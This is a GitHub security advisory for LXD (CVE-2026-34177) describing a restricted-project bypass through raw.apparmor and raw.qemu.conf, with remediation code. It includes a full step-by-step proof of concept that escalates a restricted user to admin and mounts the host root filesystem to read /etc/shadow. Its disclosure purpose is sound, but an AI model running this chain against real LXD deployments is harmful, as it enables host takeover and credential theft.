VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf

Critical **tomponline** published **GHSA-fm2x-c5qw-4h6f** 5 hours ago

Package

LXD

Affected versions

>= 4.12

Patched versions

5.0.7, 5.21.5, 6.8

Description

Summary

The `isVMLowLevelOptionForbidden` function in `lxd/project/limits/permissions.go` is missing `raw.apparmor` and `raw.qemu.conf` from its hardcoded forbidden list. A user with `can_edit` permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the `restricted.virtual-machines.lowlevel=block` project restriction, which is the security control specifically designed to prevent raw config injection.

Details

Affected code

The enforcement point for VM lowlevel restrictions is `isVMLowLevelOptionForbidden` at `lxd/project/limits/permissions.go:924-926`:

```
func isVMLowLevelOptionForbidden(key string) bool {
    return slices.Contains([]string{"boot.host_shutdown_timeout", "limits.memory.hugepag
}
```

This list is missing two security-critical config keys:

- **`raw.apparmor`** -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile
- **`raw.qemu.conf`** -- allows injecting arbitrary sections into the QEMU configuration file

The container equivalent (`isContainerLowLevelOptionForbidden` at line 916) correctly includes `raw.apparmor` in its forbidden list.

Attack mechanism

Both `raw.apparmor` and `raw.qemu.conf` are valid VM config keys (defined in `lxd/instance/instancetype/instance.go`). When a restricted user sets them on a VM in a project with `restricted.virtual-machines.lowlevel=block`, the entity config checker at line 779 calls `isVMLowLevelOptionForbidden` for each key, which returns `false` for both. The config is accepted without error.

On VM startup:

1. `instanceProfile` (`lxd/apparmor/instance.go:150`) reads `raw.apparmor` from the expanded config and injects it verbatim into the QEMU AppArmor profile template (`lxd/apparmor/instance_qemu.go:114-118`). An attacker-supplied rule like `/var/snap/lxd/common/lxd/unix.socket rw,` grants the QEMU process read-write access to the LXD unix socket.

2. `qemuRawCfgOverride` (`lxd/instance/drivers/driver_qemu_config_override.go:242`) reads `raw.qemu.conf` and appends new sections to the generated QEMU config. The attacker adds a `[chardev]` section with `backend = "socket"` pointing at the LXD unix socket, and a `[device]` section creating a `virtserialport` connected to it.

3. QEMU starts with `-readconfig` containing the injected drive definition. The QEMU process connects to `/var/snap/lxd/common/lxd/unix.socket` (permitted by the injected AppArmor rule) and exposes the connection as `/dev/virtio-ports/lxd.exploit` inside the VM.

The exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.

Affected deployments

Any LXD deployment where:

- A project has `restricted=true` and `restricted.virtual-machines.lowlevel=block` (the default when `restricted=true`)
- A user has `can_edit` on a VM instance in that project (also implied by project-level `operator` , `can_edit_instances` , or `instance_manager` entitlements)

The minimum required entitlements are `can_create_instances` (to create a VM), `can_edit` on the instance (to set config keys -- `lxc config set`), `can_update_state` (to start the VM), and `can_exec` (to read the block device from inside the VM). Any of the broader project-level roles (`operator`, `instance_manager`) include all of these.

This includes the `lxd-user` multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects "prevent users from gaining root access" (`doc/howto/projects_confine.md`).

Version

Tested and confirmed on LXD 6.7.

PoC

The exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.

Admin setup (run on the LXD host)

```
# Create restricted project
# restricted.virtual-machines.lowlevel defaults to "block" when restricted=true
lxc project create poc-restricted \
    -c features.profiles=true \
    -c features.images=false \
    -c restricted=true

# Create default profile with storage and network
lxc profile create default --project poc-restricted
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Create auth group with minimum entitlements needed for the exploit:
#   can_view              - required to reference the project in other permissions
#   can_create_instances  - create the VM
#   can_edit_instances    - set config keys (implies can_edit on all instances)
#   can_operate_instances - start the VM and exec into it (implies can_update_state + ca
# These are baseline permissions for any user who manages VMs in a project.
# None of these grant permission to edit the project configuration itself.
lxc auth group create vm-operators
lxc auth group permission add vm-operators project poc-restricted can_view
lxc auth group permission add vm-operators project poc-restricted can_create_instances
lxc auth group permission add vm-operators project poc-restricted can_edit_instances
lxc auth group permission add vm-operators project poc-restricted can_operate_instances

# Create restricted user identity
```

```
lxc auth identity create tls/alice --group vm-operators
# Give the output token to alice
```

Exploit (run as the restricted user "alice", from her own machine)

```
# Alice adds the remote using the token from admin setup
lxc remote add target <token>

REMOTE="target"
PROJECT="poc-restricted"
VM="poc-069"
SOCKET="/var/snap/lxd/common/lxd/unix.socket"

# Create a stopped VM
lxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}

# Inject AppArmor rule granting QEMU read-write access to the LXD unix socket.
# raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction.
lxc config set ${REMOTE}:${VM} raw.apparmor \
    "  ${SOCKET} rw," --project ${PROJECT}

# Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port.
# raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden.
lxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev "lxdsock"]
backend = "socket"
path = "/var/snap/lxd/common/lxd/unix.socket"

[device "lxdchan"]
driver = "virtserialport"
chardev = "lxdsock"
bus = "dev-qemu_serial.0"
name = "lxd.exploit"' --project ${PROJECT}

# Start VM -- QEMU connects to the unix socket at startup.
lxc start ${REMOTE}:${VM} --project ${PROJECT}
sleep 30

# Elevate privileges to admin
# (add the "admin" entitlement to alice's group)
lxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c '
apt install -y socat curl
socat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit &
sleep 1
curl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \
    -X PUT -H "Content-Type: application/json" \
    -d "{\"description\":\"\",\"permissions\":[{\"entity_type\":\"server\",\"url\":\"/1.
'

# Create privileged container and mount root filesystem
lxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default
lxc config set ${REMOTE}:pwn-root security.privileged=true --project default
lxc config device add ${REMOTE}:pwn-root hostroot disk \
    source=/ path=/mnt/host --project default
lxc start ${REMOTE}:pwn-root --project default
```

```
# Full host root access
lxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow
```

Impact

Privilege escalation from restricted project user to host root.

The full attack chain is: restricted VM user --> `raw.apparmor` + `raw.qemu.conf` injection (bypasses `restricted.virtual-machines.lowlevel=block`) --> QEMU chardev bridges LXD unix socket into VM as virtio-serial device --> single HTTP request through chardev adds `admin` entitlement to attacker's own group --> attacker's existing CLI session is now full admin --> create privileged container with host root mount --> host root.

This affects any deployment using LXD's restricted project model for multi-tenant isolation. The attacker requires only `can_edit` on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.

The exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.

Remediation

Add `raw.apparmor` and `raw.qemu.conf` to the forbidden list in `isVMLowLevelOptionForbidden`:

```
func isVMLowLevelOptionForbidden(key string) bool {
    return slices.Contains([]string{
        "boot.host_shutdown_timeout",
        "limits.memory.hugepages",
        "raw.apparmor",
        "raw.idmap",
        "raw.qemu",
        "raw.qemu.conf",
    }, key)
}
```

Patches

LXD Series	Interim release
6	https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1
5.21	https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1

LXD Series	Interim release
5.0	https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1
4.0	https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1

Severity

Critical 9.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-34177

Weaknesses

No CWEs

Credits

mpurg Reporter